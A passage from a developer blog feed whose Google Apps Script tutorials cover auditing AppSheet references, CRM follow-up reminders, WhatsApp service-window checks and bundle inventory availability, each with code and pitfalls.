Two installers, two triggers. If the trigger is created in code, have the installer delete existing triggers for sendFromSheet first. The lock makes the duplicate harmless, but a duplicate you do not know about will hide the next problem.

A row with several addresses spends several units of quota. MailApp counts recipients, not messages. One cell with three comma-separated addresses costs three of your 100.

SENDING rows need a person. Put a filter view on Status = SENDING and look at it after any run that ended with an error. Most of the time the answer is in the provider's log: if the message is there, change the row to SENT; if not, clear it.

The one thing to keep

A SENT column records what already happened. It cannot stop two runs from acting on the same row at once, and a number that came through JSON.parse cannot be trusted as an identifier past 2^53. Claim the row and flush before sending, take a lock around it, and join provider events on an ID you wrote yourself.

The original post, with the MailApp versus provider comparison and when each one is the right call, is on the MageSheet blog.

The Sheet Outlives AppSheet. Check That Its References Do.

Hayrullah Kar — Tue, 06 Oct 2026 15:59:11 +0000

The usual argument for AppSheet over Power Apps is about where the data lives. AppSheet keeps its records in a Google Sheet you own, so if you cancel the subscription the app disappears and the spreadsheet stays. Power Apps keeps them in Dataverse, which is a proper relational database but not a file you can open.

That argument is correct as far as it goes. The rows survive. What I wanted to know before relying on it was whether the rows still mean anything once the app that wrote them is gone, because AppSheet writes several kinds of value into the Sheet that only AppSheet knows how to read.

So I wrote an audit that answers that question with counts, and runs in Apps Script on the same spreadsheet.

What AppSheet actually writes into the cells

Open the Sheet behind a typical field-service app and three column types look different from what you see in the app.

Column type in the app	What the cell holds	What breaks without the app
Ref	The key of the row it points to, often a random string from `UNIQUEID()` such as `3f9a1c7e`	Nothing checks that the key still exists
EnumList of Ref	Several keys joined by space, comma, space: `P1 , P2 , P7`	A plain `split(',')` reads it wrong
Image or File	A path relative to the app's folder in Drive, such as `Jobs_Images/3f9a1c7e.Photo.jpg`	The path means nothing unless you know which folder it is relative to

None of this is a defect. A Ref column storing a key is how every database stores a relationship. The difference is enforcement. Dataverse refuses to delete a customer that jobs still point to. A Google Sheet has no such rule, and AppSheet only removes child rows automatically when the relationship is marked "Is a part of". Delete a customer through the app without that setting, or delete a row directly in the Sheet, and the jobs that referenced it keep a key that resolves to nothing.

Inside the app this is easy to miss, because nobody browses jobs looking for a customer that is no longer there. Outside the app, in an export, a pivot table or a replacement build, it becomes a row whose customer cannot be found. That is the thing to measure before you cancel anything.

Index the keys, then look for references that miss

The first block builds a key index per table and reports two problems on the key column itself: blank keys and duplicate keys. Then it checks every reference against that index, splitting list cells on the separator AppSheet actually uses.

var LIST_SEP = ' , ';

function cell(value) {
  return String(value == null ? '' : value).trim();
}

function isBlankRow(row) {
  return row.every(function (v) { return cell(v) === ''; });
}

function splitList(value) {
  var s = cell(value);
  if (!s) return [];
  return s.split(LIST_SEP)
    .map(function (v) { return v.trim(); })
    .filter(function (v) { return v !== ''; });
}

function indexKeys(rows, keyCol) {
  var keys = Object.create(null);
  var dupes = [];
  var blanks = [];
  rows.forEach(function (row, i) {
    if (isBlankRow(row)) return;
    var k = cell(row[keyCol]);
    if (!k) blanks.push('row ' + (i + 2));
    else if (keys[k]) dupes.push(k);
    else keys[k] = true;
  });
  return { keys: keys, dupes: dupes, blanks: blanks };
}

function findOrphans(rows, refCol, index, isList) {
  var orphans = [];
  rows.forEach(function (row, i) {
    if (isBlankRow(row)) return;
    var values = isList
      ? splitList(row[refCol])
      : [cell(row[refCol])];
    values.forEach(function (v) {
      if (v && !index.keys[v]) {
        orphans.push('row ' + (i + 2) + ': ' + v);
      }
    });
  });
  return orphans;
}

Three details in there carry more weight than they look.

Object.create(null) instead of {}. A plain object inherits toString, constructor and friends, so a reference cell containing toString would be found in the index and never reported. It is an unlikely key, but an audit is exactly the place where "unlikely" should not be a pass.

cell() stringifies and trims both sides. A numeric key like 1001 comes back from getValues() as a number, and the reference column may hold the same value as a number or as text. Comparing strings makes both match.

' , ' rather than ','. AppSheet joins list items with a comma surrounded by spaces precisely so that a value containing a comma survives. 'Smith, John , Doe, Jane'.split(',') gives four pieces; splitting on ' , ' gives the two names that were stored. A list someone typed by hand as P1,P2 stays a single value under this rule and gets reported, which is the right outcome: a human needs to look at it.

Resolve the file paths against Drive

Photos are where an exit hurts most, because a job record without its signature or site photo is often worthless. An Image column holds either a full URL, which is self-contained, or a relative path, which only works if you know the folder it starts from. In AppSheet that is the app's default folder in Drive, by default somewhere under appsheet/data/. Copy its ID from the folder's URL.

function classifyFileCell(value) {
  var s = cell(value);
  if (!s) return { kind: 'empty' };
  if (/^https?:\/\//i.test(s)) return { kind: 'url' };
  var parts = s.split('/').filter(function (p) {
    return p !== '';
  });
  return { kind: 'relative', parts: parts };
}

function findByPath(root, parts) {
  var folder = root;
  for (var i = 0; i < parts.length - 1; i++) {
    var sub = folder.getFoldersByName(parts[i]);
    if (!sub.hasNext()) return null;
    folder = sub.next();
  }
  var files = folder.getFilesByName(parts[parts.length - 1]);
  return files.hasNext() ? files.next() : null;
}

function findMissingFiles(rows, fileCol, root) {
  var missing = [];
  rows.forEach(function (row, i) {
    var c = classifyFileCell(row[fileCol]);
    if (c.kind !== 'relative') return;
    if (!findByPath(root, c.parts)) {
      missing.push('row ' + (i + 2) + ': ' + c.parts.join('/'));
    }
  });
  return missing;
}

findByPath walks the path one folder at a time with getFoldersByName and finishes with getFilesByName. A path that points at a folder nobody created, or at a file that was moved out of the app folder to tidy up Drive, comes back as null and lands in the report with its row number.

The runner and the report

The last block describes the app's tables once, reads each tab by header name, runs the checks and writes one line per check into an Exit audit tab.

var APP_FOLDER_ID = 'PASTE_THE_APP_FOLDER_ID';
var TABLES = {
  Customers: { key: 'CustomerID' },
  Parts: { key: 'PartID' },
  Jobs: {
    key: 'JobID',
    refs: [{ col: 'Customer', table: 'Customers' }],
    lists: [{ col: 'Parts used', table: 'Parts' }],
    files: ['Photo']
  }
};

function readTable(ss, name) {
  var sheet = ss.getSheetByName(name);
  if (!sheet) throw new Error('Missing tab: ' + name);
  var values = sheet.getDataRange().getValues();
  var head = values.shift().map(cell);
  return { name: name, head: head, rows: values };
}

function col(table, name) {
  var i = table.head.indexOf(name);
  if (i === -1) {
    throw new Error(table.name + ' has no column "' + name + '"');
  }
  return i;
}

function line(table, check, column, hits) {
  return [
    table, check, column, hits.length,
    hits.length ? 'FAIL' : 'PASS',
    hits.slice(0, 5).join(' | ')
  ];
}

function auditExit() {
  var ss = SpreadsheetApp.getActive();
  var root = DriveApp.getFolderById(APP_FOLDER_ID);
  var data = {};
  var index = {};
  var out = [];

  Object.keys(TABLES).forEach(function (name) {
    var t = readTable(ss, name);
    var keyCol = col(t, TABLES[name].key);
    var k = indexKeys(t.rows, keyCol);
    data[name] = t;
    index[name] = k;
    out.push(line(name, 'blank key', TABLES[name].key, k.blanks));
    out.push(line(name, 'duplicate key', TABLES[name].key, k.dupes));
  });

  Object.keys(TABLES).forEach(function (name) {
    var t = data[name];
    var spec = TABLES[name];
    (spec.refs || []).forEach(function (r) {
      var hits = findOrphans(t.rows, col(t, r.col), index[r.table]);
      out.push(line(name, 'orphan ref', r.col, hits));
    });
    (spec.lists || []).forEach(function (r) {
      var hits = findOrphans(
        t.rows, col(t, r.col), index[r.table], true);
      out.push(line(name, 'orphan list item', r.col, hits));
    });
    (spec.files || []).forEach(function (f) {
      var hits = findMissingFiles(t.rows, col(t, f), root);
      out.push(line(name, 'missing file', f, hits));
    });
  });

  var report = ss.getSheetByName('Exit audit')
    || ss.insertSheet('Exit audit');
  report.clearContents();
  report.getRange(1, 1, 1, 6).setValues([[
    'Table', 'Check', 'Column', 'Count', 'Result', 'First hits'
  ]]);
  report.getRange(2, 1, out.length, 6).setValues(out);
  return out;
}

Keys are indexed for every table before any reference is checked, so the order of TABLES does not matter. Each line in the report carries the count and the first five hits with row numbers, which is enough to open the tab and see whether you are looking at three stray test rows or a pattern.

I tested the pure functions in Node with 40 assertions, including a mocked SpreadsheetApp and a mocked Drive folder tree for the full auditExit() run. The real Drive and Sheets calls have to be tried on your own copy.

Reading the result is simple. All PASS means the claim holds for your app: the Sheet carries its own meaning and an export, a pivot table or a rebuild will see what the app saw. Orphan references mean decisions are owed before you leave, because the app has been hiding rows whose parent is gone. Missing files mean photos you believed you had are not where the records say they are. If your data model needs those relationships enforced rather than audited, that is the honest case for a relational store like Dataverse, and the audit tells you so in numbers rather than opinion.

Pitfalls

A renamed column passes silently. Without the guard in col(), indexOf returns -1, row[-1] is undefined, every cell reads as empty, and the check reports zero orphans. The column that no longer exists gets a green PASS. Throwing on a missing header turns that into an error you cannot miss.

Duplicate folder names in Drive. Drive allows two folders with the same name in the same parent. getFoldersByName returns the first one it finds, so if someone made a second Jobs_Images, the audit can report files as missing that sit in the other copy. If the missing count looks wrong, check the app folder for duplicates before trusting it.

Blank rows are not blank keys. A fully empty row left in the middle of a tab would otherwise show up as a blank key on every run. isBlankRow skips it. A row with data but no key is still reported, because that row cannot be referenced by anything.

Large photo tables. Each relative path costs at least two Drive calls, one per folder level and one for the file. A small photo table finishes quickly; a large one can run into the execution time limit. Run the file check one table at a time, or split it with the continuation pattern in the 6-minute limit guide.

Size is a separate question. This audit tells you whether the data is portable, not whether it fits a plan. Row and table counts per tab are covered in the AppSheet plan limit audit.

The Sheet outliving the app is the strongest argument AppSheet has, and it is worth checking rather than assuming. One run, one tab of counts, and you know whether cancelling the subscription leaves you with records or with keys pointing at nothing.

The full cost and lock-in comparison of AppSheet and Power Apps, including the seat-count table and when an owned Apps Script build beats both, is on the MageSheet blog.

An Empty Reminder Inbox Is Not an Empty Pipeline

Hayrullah Kar — Sun, 27 Sep 2026 14:40:56 +0000

A daily follow-up digest is the first automation worth adding to a spreadsheet CRM. A trigger fires at eight, a script reads the deals tab, and anything due or overdue lands in your inbox. Mine ran for weeks before I noticed it had stopped telling me anything.

Nothing had broken in a way that produces an error. No failed execution, no quota warning, no red in the trigger log. The script ran every morning, read the sheet, decided there was nothing due, and returned. An inbox with no reminder in it looks exactly the same whether the pipeline is quiet or the scan is blind.

That is the part worth engineering. Not the filter, the silence.

Three ways the obvious filter goes quiet

The sketch version of this is short, and each line of it is a place the scan can fail without saying so.

// The illustrative version. Every line here has a silent failure mode.
const due = rows.filter(r => {
  const stage = String(r[STAGE]);
  const followUp = r[FOLLOWUP];
  if (stage === 'Won' || stage === 'Lost') return false;
  if (!(followUp instanceof Date)) return false;
  const d = new Date(followUp);
  d.setHours(0, 0, 0, 0);
  return d <= today;
});
if (due.length === 0) return;

The stage comparison is exact. A dropdown keeps new rows clean, but rows typed before the dropdown existed, rows pasted from another sheet, and rows where someone left a trailing space all miss it. 'Won ' === 'Won' is false, so a closed deal keeps getting chased. That one is at least visible, because you get reminded about a deal you already won.

instanceof Date throws away anything that is not a real date cell. Paste a column from another sheet and you get text. Type into a column that was formatted as plain text and you get text. Import a CSV and you get text. Every one of those rows is dropped from the scan with no trace. If the whole column is text, the filter drops every row, due.length is zero, and the script returns without sending anything. That is the silent total failure: the digest never fires again and the inbox looks like a quiet month.

A blank follow-up date is treated as nothing to do. It is the opposite. A deal that is open and has no next step is the one most likely to go cold, and this line guarantees it is never mentioned.

There is also a timezone seam in the same block. new Date() builds midnight in the script's timezone, while the dates in the sheet belong to the spreadsheet's timezone. When those differ, every comparison is off by a day, in a direction nobody notices until a deal is chased one day late.

Read the day, not the object

The fix to most of it is one function that turns whatever is in the cell into a calendar day, in the sheet's timezone, and that distinguishes "no date" from "not a date".

var CLOSED = ['won', 'lost'];

function normaliseStage(value) {
  return String(value == null ? '' : value)
    .replace(/\s+/g, ' ')
    .trim()
    .toLowerCase();
}

function isClosed(stageValue) {
  return CLOSED.indexOf(normaliseStage(stageValue)) !== -1;
}

/**
 * yyyy-mm-dd read in the SHEET's timezone.
 * null   = the cell is empty
 * undefined = the cell holds something that is not a date
 */
function toDateKey(value, offsetMinutes) {
  var off = offsetMinutes || 0;
  if (value === null || value === undefined) return null;
  if (typeof value === 'string' && value.trim() === '') return null;
  var ms;
  if (value instanceof Date) {
    ms = value.getTime();
  } else if (typeof value === 'number' && isFinite(value)) {
    // A raw serial from an unformatted cell: days since 1899-12-30.
    ms = (value - 25569) * 86400000;
  } else if (typeof value === 'string') {
    var t = value.trim();
    var iso = /^(\d{4})-(\d{2})-(\d{2})/.exec(t);
    if (iso) return iso[1] + '-' + iso[2] + '-' + iso[3];
    ms = Date.parse(t);
  } else {
    return undefined;
  }
  if (isNaN(ms)) return undefined;
  var shifted = new Date(ms + off * 60000);
  var y = shifted.getUTCFullYear();
  var m = ('0' + (shifted.getUTCMonth() + 1)).slice(-2);
  var d = ('0' + shifted.getUTCDate()).slice(-2);
  return y + '-' + m + '-' + d;
}

Comparing '2026-09-01' <= '2026-09-27' as strings is exact, needs no clock, and cannot drift by an hour. The offset comes from the spreadsheet rather than the script, which closes the seam rather than moving it.

Every row lands in exactly one state

The filter above answers one question, in or out. The scan needs five answers, because three of them are things you want to hear about.

function classifyRow(row, cols, todayKey, offsetMinutes) {
  if (isClosed(row[cols.stage])) return { state: 'closed' };
  var key = toDateKey(row[cols.followUp], offsetMinutes);
  if (key === null) return { state: 'no_date' };
  if (key === undefined) return { state: 'unreadable' };
  if (key <= todayKey) return { state: 'due', key: key };
  return { state: 'future', key: key };
}

function buildDigest(rows, cols, todayKey, offsetMinutes) {
  var out = { due: [], no_date: [], unreadable: [], future: 0, closed: 0 };
  for (var i = 0; i < rows.length; i++) {
    var r = classifyRow(rows[i], cols, todayKey, offsetMinutes);
    if (r.state === 'due') out.due.push({ row: rows[i], key: r.key });
    else if (r.state === 'no_date') out.no_date.push(rows[i]);
    else if (r.state === 'unreadable') out.unreadable.push(rows[i]);
    else if (r.state === 'future') out.future++;
    else out.closed++;
  }
  out.due.sort(function (a, b) {
    return a.key < b.key ? -1 : a.key > b.key ? 1 : 0;
  });
  out.scanned = rows.length;
  return out;
}

/** Silence is a claim. Only make it when the scan actually succeeded. */
function shouldSend(digest) {
  if (digest.due.length) return 'due';
  if (digest.unreadable.length) return 'unreadable';
  if (digest.no_date.length) return 'no_date';
  if (digest.scanned === 0) return 'empty_sheet';
  if (digest.future === 0 && digest.closed === digest.scanned) {
    return 'all_closed';
  }
  return '';
}

The counts are the point. A digest that says five due, two with no next step, and one date it could not read is a different message from an empty inbox, and it costs one extra pass over an array you already have in memory.

The Apps Script around it

var SHEET_NAME = 'Deals';
var COLS = { contact: 0, email: 2, stage: 4, value: 5, followUp: 8, owner: 9 };

function sendFollowUpReminders() {
  var ss = SpreadsheetApp.getActive();
  var sheet = ss.getSheetByName(SHEET_NAME);
  if (!sheet) throw new Error('No sheet named ' + SHEET_NAME);

  var rows = sheet.getDataRange().getValues();
  rows.shift();

  // The offset that matters is the SHEET's, not the script's.
  var offset = -new Date().getTimezoneOffset();
  var todayKey = toDateKey(new Date(), offset);
  var digest = buildDigest(rows, COLS, todayKey, offset);
  var reason = shouldSend(digest);
  if (!reason) return;

  var lines = digest.due.map(function (d) {
    return '- ' + d.row[COLS.contact] + ' (' + d.row[COLS.stage] + ', '
      + d.row[COLS.value] + ') due ' + d.key
      + (d.row[COLS.owner] ? ' owner: ' + d.row[COLS.owner] : '');
  });
  if (digest.no_date.length) {
    lines.push('', digest.no_date.length + ' open deals have no next step.');
  }
  if (digest.unreadable.length) {
    lines.push('', digest.unreadable.length
      + ' rows have a follow-up cell I could not read.');
  }
  lines.push('', 'Scanned ' + digest.scanned + ' rows.');

  GmailApp.sendEmail(
    Session.getEffectiveUser().getEmail(),
    digest.due.length + ' follow-ups due (' + reason + ')',
    lines.join('\n'));
}

Session.getEffectiveUser() rather than getActiveUser() is deliberate. Under a time-driven trigger there is no active user in the sense the name suggests, and on some account types getActiveUser().getEmail() returns an empty string, which turns into a send failure at the last line of a job that otherwise worked.

The closing Scanned N rows line is the cheapest health check available. If that number drops to zero, or stops matching the sheet, you find out from the email rather than from a customer.

Pitfalls

Trusting the trigger log. A time-driven trigger that completes successfully proves the script ran, not that it read anything. Every failure above is a successful execution. The scanned count in the message body is the signal the log cannot give you.

Normalising the stage but not the list. isClosed lowercases the cell, so the constant it compares against has to be lowercase too. Writing CLOSED = ['Won', 'Lost'] reintroduces exactly the bug the function was added to remove, and no test that only uses clean data will catch it.

Taking the offset from the script. new Date().getTimezoneOffset() inside Apps Script gives the script's timezone. If the spreadsheet is set to a different one, read the sheet's with SpreadsheetApp.getActive().getSpreadsheetTimeZone() and convert, or set both to the same value and write that down somewhere. The failure is one day of drift, in the direction nobody checks.

Sending one digest for a team. Grouping by owner is the obvious next step, and it changes the silence rule with it: an owner with nothing due should still hear from the scan occasionally, or an owner whose rows all became unreadable gets the quiet inbox all over again, one person at a time.

Five states, one pass, and the rule that silence has to be earned. That is the difference between a reminder you trust and a reminder you stop noticing.

The template these columns and formulas come from, including the conditional-format rule that flags overdue rows before any of this is automated, is on the MageSheet blog.

The 24-Hour Window Decides Whether Your WhatsApp Reply Sends or Gets Rejected

Hayrullah Kar — Fri, 25 Sep 2026 17:35:47 +0000

There are exactly three ways to automate WhatsApp: rent a SaaS platform, wire up Meta's Cloud API yourself, or build on Google Sheets and Apps Script. I have built the third one, and what surprised me is how little that choice changes about the part that actually breaks.

All three send through the same official Cloud API, and that API applies the same rule to all three. You may send a free-form message only within 24 hours of the customer's most recent message to you. Outside that window only an approved template goes through, and anything else comes back as a re-engagement rejection.

So whichever tool you picked, some code is answering one question before every outbound message: is the window still open? When that code is wrong the symptom is not a crash. It is a reply the customer never receives, or a template charge on a message that could have been free.

Here is the function, and the three ways I have watched it get the answer wrong.

The obvious version is wrong in two directions

// Wrong. Do not ship this.
var last = new Date(message.timestamp);
if (Date.now() - last < 24 * 60 * 60 * 1000) {
  sendFreeForm(text);
} else {
  sendTemplate(name);
}

Meta's webhook hands you timestamp as a string of epoch seconds: "1753276800". new Date("1753276800") does not read that as seconds, or as anything else. It is an Invalid Date, every arithmetic result off it is NaN, and NaN < 86400000 evaluates to false. The branch falls to the template side and stays there. The automation looks healthy, customers get answered, and every single reply is billed as a template.

That is the forgiving version of the bug, because it fails in the direction that still delivers. The unforgiving version is the same mistake reversed: storing Date.now() in milliseconds on one path and epoch seconds on another, so elapsed time comes out a thousand times too small and the window reads as open long after it closed. Then the free-form replies start bouncing and nothing in your logs says why.

Both bugs come from the same hole. The timestamp arrives in more than one shape and nothing normalises it.

One normaliser, one decision

/** Normalise any timestamp shape to epoch SECONDS. NaN if unusable. */
function toEpochSeconds(value) {
  if (value instanceof Date) {
    var ms = value.getTime();
    return isNaN(ms) ? NaN : Math.floor(ms / 1000);
  }
  if (typeof value === 'number') {
    if (!isFinite(value) || value <= 0) return NaN;
    // Sheets and Date.now() hand back milliseconds; the webhook hands
    // back seconds. Past year 2286 in seconds is really milliseconds.
    return value > 1e11 ? Math.floor(value / 1000) : Math.floor(value);
  }
  if (typeof value === 'string') {
    var trimmed = value.trim();
    if (trimmed === '') return NaN;
    if (/^\d+$/.test(trimmed)) return toEpochSeconds(Number(trimmed));
    var parsed = Date.parse(trimmed);
    return isNaN(parsed) ? NaN : Math.floor(parsed / 1000);
  }
  return NaN;
}

var SERVICE_WINDOW_SECONDS = 24 * 60 * 60;

/** How may the next outbound message be sent? */
function replyMode(lastInbound, now) {
  var last = toEpochSeconds(lastInbound);
  var current = toEpochSeconds(now);
  if (isNaN(last) || isNaN(current)) {
    return { mode: 'template', reason: 'unreadable timestamp',
             secondsLeft: 0 };
  }
  var elapsed = current - last;
  if (elapsed < 0) {
    return { mode: 'template', reason: 'timestamp in the future',
             secondsLeft: 0 };
  }
  if (elapsed >= SERVICE_WINDOW_SECONDS) {
    return { mode: 'template', reason: 'service window closed',
             secondsLeft: 0 };
  }
  return { mode: 'free_form', reason: 'service window open',
           secondsLeft: SERVICE_WINDOW_SECONDS - elapsed };
}

Two properties are worth naming because they are doing real work.

It fails closed. Every path that cannot produce a number returns template. That is not a happy accident of NaN comparisons, it is an explicit branch, because a template sent inside an open window costs money and a free-form sent outside one does not arrive at all.

It has one unit. Seconds, everywhere, decided at the boundary. The millisecond confusion cannot happen downstream because nothing downstream sees a millisecond.

Record the event that actually resets the window

The window resets on the customer's message, not on yours. This is the detail that decides whether the rest of the code can ever be right, and it is easy to write the wrong one because the outbound path is the one you are debugging.

var SHEET_NAME = 'Contacts';

/** Meta posts every inbound message here. */
function doPost(e) {
  var payload = JSON.parse(e.postData.contents);
  var change = payload.entry[0].changes[0].value;
  var message = (change.messages || [])[0];
  if (!message) return ContentService.createTextOutput('ignored');
  recordInbound(message.from, message.timestamp);
  return ContentService.createTextOutput('ok');
}

function findRow(sheet, waId) {
  var ids = sheet.getRange('A2:A').getValues();
  for (var i = 0; i < ids.length; i++) {
    if (String(ids[i][0]) === String(waId)) return i + 2;
  }
  return 0;
}

function recordInbound(waId, timestamp) {
  var sheet = SpreadsheetApp.getActive().getSheetByName(SHEET_NAME);
  var row = findRow(sheet, waId);
  // Store raw epoch seconds. A formatted date cell comes back as a Date
  // in the spreadsheet's timezone, which is a different number once the
  // file is opened from somewhere else.
  if (!row) sheet.appendRow([waId, Number(timestamp)]);
  else sheet.getRange(row, 2).setValue(Number(timestamp));
}

Now the send path has one job, and it reports which mode it used rather than guessing later.

function sendReply(waId, text, templateName) {
  var sheet = SpreadsheetApp.getActive().getSheetByName(SHEET_NAME);
  var row = findRow(sheet, waId);
  var lastInbound = row ? sheet.getRange(row, 2).getValue() : null;
  var decision = replyMode(lastInbound, new Date());
  var props = PropertiesService.getScriptProperties();

  var body = decision.mode === 'free_form'
    ? { messaging_product: 'whatsapp', to: waId, type: 'text',
        text: { body: text } }
    : { messaging_product: 'whatsapp', to: waId, type: 'template',
        template: { name: templateName, language: { code: 'en' } } };

  var response = UrlFetchApp.fetch(
    'https://graph.facebook.com/v21.0/' +
      props.getProperty('PHONE_ID') + '/messages',
    {
      method: 'post',
      contentType: 'application/json',
      headers: { Authorization: 'Bearer ' + props.getProperty('WA_TOKEN') },
      payload: JSON.stringify(body),
      muteHttpExceptions: true
    });

  if (response.getResponseCode() >= 300) {
    throw new Error(decision.mode + ' rejected: ' +
      response.getContentText());
  }
  return decision;
}

Pitfalls

Writing the timestamp on send instead of on receive. If recordInbound runs from the outbound path, every message you send refreshes the window in your own sheet. The sheet then says open forever, and Meta rejects the free-form messages you keep sending after the real window closed. The rejection text names the recipient, not your bug, so this one hides well.

Formatting the timestamp column as a date. The moment that column is a date rather than a plain number, getValue() hands back a Date built in the spreadsheet's timezone. The normaliser above absorbs it, which is the point of having one. Without a normaliser the same sheet gives different answers depending on which timezone the file was last opened in.

Testing only the middle of the window. One hour in, everything passes. The boundary is where the decision changes: at exactly 24 hours the window is closed, not open. elapsed >= SERVICE_WINDOW_SECONDS rather than >, and a test that pins both sides of it.

Trusting a timestamp that is ahead of you. Clock skew and a customer message stamped in the future produce a negative elapsed time, which is smaller than the window and therefore reads as open. That is why the negative branch is separate rather than folded into the comparison.

Those four are the ones I have actually hit. The unit tests that pin them are thirteen assertions over two pure functions, and they run in Node without any Apps Script service, because toEpochSeconds and replyMode take values rather than reading the sheet themselves.

Where this lives in each of the three options

Option	Who owns this function	What you change when it is wrong
SaaS platform	The vendor	A support ticket, and you wait
Cloud API direct	You	Your own code, deployed by you
Google Sheets and Apps Script	You	The script bound to your sheet

This is the smallest honest version of the build-versus-buy question. Renting means somebody else already wrote this function and you cannot read it. Owning means it is yours to get wrong and yours to fix in an afternoon.

The full comparison of the three routes, with costs, ownership, and the Terms of Service line that rules out the unofficial senders, is on the MageSheet blog.

Two Kits, One Shared Part: The Stock Your Sheet Counts Twice

Hayrullah Kar — Thu, 24 Sep 2026 19:55:27 +0000

A Google Sheets inventory template gives every SKU one row and one number: quantity on hand. That holds for as long as every SKU is a thing sitting on a shelf.

Then you list two bundles. Desk Set A is a body and a black cap. Desk Set B is the same body and a grey cap. You have five bodies, five black caps, five grey caps, so the sheet gets two more rows, and both of them say five.

Both numbers are correct. Their sum is not. The storefront offers ten desk sets and there are five bodies in the building.

Nothing about that failure looks like a bug while it is happening. The rows are consistent, the formulas add up, and the oversell arrives a week later as a cancelled order and an apology.

A kit does not have stock, it has a minimum

The mistake is giving a kit a quantity column at all. A kit is not something you own, it is something you could build, and what you could build is a question about the parts.

// Components are [{ sku, per }]. The answer is the smallest number
// of whole kits every component can cover, never an average, and
// never whichever component happens to be first in the list.
function kitAvailability(components, onHand) {
  if (!components || !components.length) return 0;
  var best = Infinity;

  for (var i = 0; i < components.length; i++) {
    var c = components[i];
    var per = Number(c.per);
    if (!(per > 0) || Math.floor(per) !== per) {
      throw new Error('Components per kit must be whole: ' + c.sku);
    }

    var have = Number(onHand[c.sku]);
    if (!isFinite(have)) {
      throw new Error('Component not in the inventory sheet: ' + c.sku);
    }

    var sets = Math.floor(have / per);
    if (sets < best) best = sets;
  }

  return best < 0 ? 0 : best;
}

Three of those lines are there because a test said so.

Math.floor(have / per) because a kit that needs two caps out of five caps is two kits and one orphan, not two and a half. The remainder is real stock and it is not sellable as that kit.

best < 0 ? 0 : best because on-hand goes negative in every real sheet — a sale recorded before the receipt, a count corrected downward — and a negative divided by a positive is a negative number of kits, which will happily render on a product page.

The throw on a missing component is the one that matters most. A component that is not in the inventory sheet is a typo in the recipe, and the tempting alternative is to skip that line. Skipping it means the kit is priced on the parts you did list, which is how a bundle goes on sale with a part nobody stocks.

The number has to come from free stock

On-hand is not what you can sell. Five bodies with three already claimed by open orders is two bodies, and the July build of this dashboard has the reorder point and allocation side of that in full, so this post stays on the kit.

What changes with kits is where the claim lives:

function freeStock(onHand, committed) {
  var free = {};
  Object.keys(onHand).forEach(function (sku) {
    var c = Number((committed || {})[sku]) || 0;
    free[sku] = Number(onHand[sku]) - c;
  });
  return free;
}

function catalogAvailability(kits, onHand, committed) {
  var free = freeStock(onHand, committed);
  var out = {};
  Object.keys(kits).forEach(function (kitSku) {
    out[kitSku] = kitAvailability(kits[kitSku], free);
  });
  return out;
}

freeStock walks the stock rows, not the commitments, which sounds like a detail and is a decision. A commitment against a SKU that has no stock row is a recipe pointing at a part you no longer carry, and adding it to the map would invent a component with negative stock and quietly drag a kit to zero. Walking the stock rows leaves that fault where it can be seen.

Committing a kit claims parts, not kits

This is the piece that makes the two numbers stop lying to each other. When an order takes a kit, nothing is claimed against the kit, because there is nothing there to claim. The claim lands on every component:

function commitKit(kitSku, count, kits, onHand, committed) {
  var components = kits[kitSku];
  if (!components) throw new Error('Unknown kit: ' + kitSku);

  var free = freeStock(onHand, committed);
  var possible = kitAvailability(components, free);
  if (count > possible) {
    return { ok: false,
             reason: 'only ' + possible + ' of ' + kitSku +
                     ' can be built from free stock' };
  }

  var next = {};
  Object.keys(committed || {}).forEach(function (k) {
    next[k] = committed[k];
  });
  components.forEach(function (c) {
    next[c.sku] = (Number(next[c.sku]) || 0) + c.per * count;
  });

  return { ok: true, committed: next };
}

Now the five bodies behave like five bodies. Sell three Desk Set A and Desk Set B drops from five to two without anybody buying one, which is the whole point: the two kits were never independent, and the sheet was the only thing that thought they were.

A short test tells that story better than a paragraph:

var r1 = commitKit('DESK-A', 5, KITS, STOCK, {});
var r2 = commitKit('DESK-B', 1, KITS, STOCK, r1.committed);

// r1.ok === true
// r2.ok === false, 'only 0 of DESK-B can be built from free stock'

The refusal returns a reason and changes nothing. An order that cannot be built has to stop at the point where it is still a decision, not halfway through a commitment map.

The refresh, in one write

var SHEETS = { inv: 'Inventory', kits: 'Kits', open: 'Commitments' };

function refreshKitAvailability() {
  var ss = SpreadsheetApp.getActiveSpreadsheet();

  var onHand = mapFromRows(ss.getSheetByName(SHEETS.inv), 0, 2);
  var committed = mapFromRows(ss.getSheetByName(SHEETS.open), 0, 1);

  var kits = {};
  ss.getSheetByName(SHEETS.kits).getDataRange().getValues()
    .slice(1).forEach(function (r) {
      if (!r[0]) return;
      kits[r[0]] = kits[r[0]] || [];
      kits[r[0]].push({ sku: r[1], per: Number(r[2]) });
    });

  var avail = catalogAvailability(kits, onHand, committed);

  var sheet = ss.getSheetByName(SHEETS.kits);
  var rows = sheet.getDataRange().getValues().slice(1);
  var out = rows.map(function (r) { return [avail[r[0]]]; });
  sheet.getRange(2, 4, out.length, 1).setValues(out);
}

function mapFromRows(sheet, keyCol, valCol) {
  var out = {};
  sheet.getDataRange().getValues().slice(1).forEach(function (r) {
    if (!r[keyCol]) return;
    out[r[keyCol]] = (Number(out[r[keyCol]]) || 0) + Number(r[valCol]);
  });
  return out;
}

mapFromRows sums rather than assigns, because a commitments tab has one row per order line and the same component appears on many of them. An assignment would keep the last row and silently forget every other open order for that part.

The single setValues at the end is the same batching rule as the rest of this dashboard, and the reason it matters at a few thousand rows is in the earlier build.

Pitfalls

Cases and singles in the same column. You buy in cases of twelve and sell singles, so a movement of 3 means nothing without its pack size. Convert at the edge and refuse what does not convert: toEaches(2.5, 12) is thirty units, toEaches(0.5, 5) is two and a half units and has to throw rather than round. A rounded movement is a permanent, invisible discrepancy.
Pre-assembled kits are components too. If somebody builds forty sets on Friday and puts them on a shelf, those forty are now stock in their own right and their parts are gone. Availability becomes assembled-on-hand plus what is still buildable, and the assembly step has to decrement the components the moment it happens, not when the set is sold.
Nested kits. A bundle containing a bundle needs the recipe flattened to real parts before any of this runs, and a recipe that contains itself needs to fail loudly instead of recursing until the script dies.
Reorder points belong to parts. A kit has no lead time and nothing to reorder; its body does. Setting a reorder point on the kit row produces an alert nobody can act on.
Negative free stock is a signal, not a rounding problem. freeStock returns the negative rather than clamping it, because minus two bodies means two orders are already promising stock that is not there, and the sooner that is on a screen the cheaper it is.
The stock take has to count parts. Counting assembled sets and loose parts into the same column is how the discrepancy appears the following week with no way to tell which of the two was miscounted.
A few thousand rows and a per-row write. Recomputing every kit on every edit puts a read and a write inside a loop, which is the shape that meets the six-minute limit first. Read once, compute in memory, write once.

The one thing worth taking away

